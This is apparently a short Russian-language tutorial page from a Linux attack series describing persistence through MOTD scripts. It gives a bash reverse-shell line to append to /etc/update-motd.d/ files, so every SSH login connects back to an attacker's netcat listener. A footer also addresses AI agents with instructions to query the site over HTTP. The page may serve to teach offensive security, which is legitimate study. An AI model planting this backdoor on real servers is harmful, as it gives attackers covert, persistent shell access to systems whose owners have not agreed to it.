# 08 - MOTD

MODT - оно же "сообщение дня" , это сообщение получают пользователи которые подключились по SSH (если нет яявного запрета в конфигурации/etc/ssh/sshd)\
Настрокай производится в каталоге <mark style="color:orange;">/etc/update-motd.d/</mark> \
В этом каталоге ищем приветственный файл, это может быть <mark style="color:green;">00-header</mark>  или <mark style="color:green;">10-uname</mark> \
и просто последней строкой будем вызыват <mark style="color:red;">reverse shell</mark>&#x20;

```bash
// Добавляем в конец файла вызов шелла
/bin/bash -i >& /dev/tcp/192.168.140.128/9010 0>&1
```

<figure><img src="/files/F0fDJwGctII91xV4QLrz" alt=""><figcaption></figcaption></figure>

```bash
// На хосте атакующего запускам netcat 
nc -lvp 9010
```

Теперь когда кто то подключиться к серверу по SSH, мы получим шелл.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://reeves0x0.gitbook.io/linux-under-attack/persistence/08-motd.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
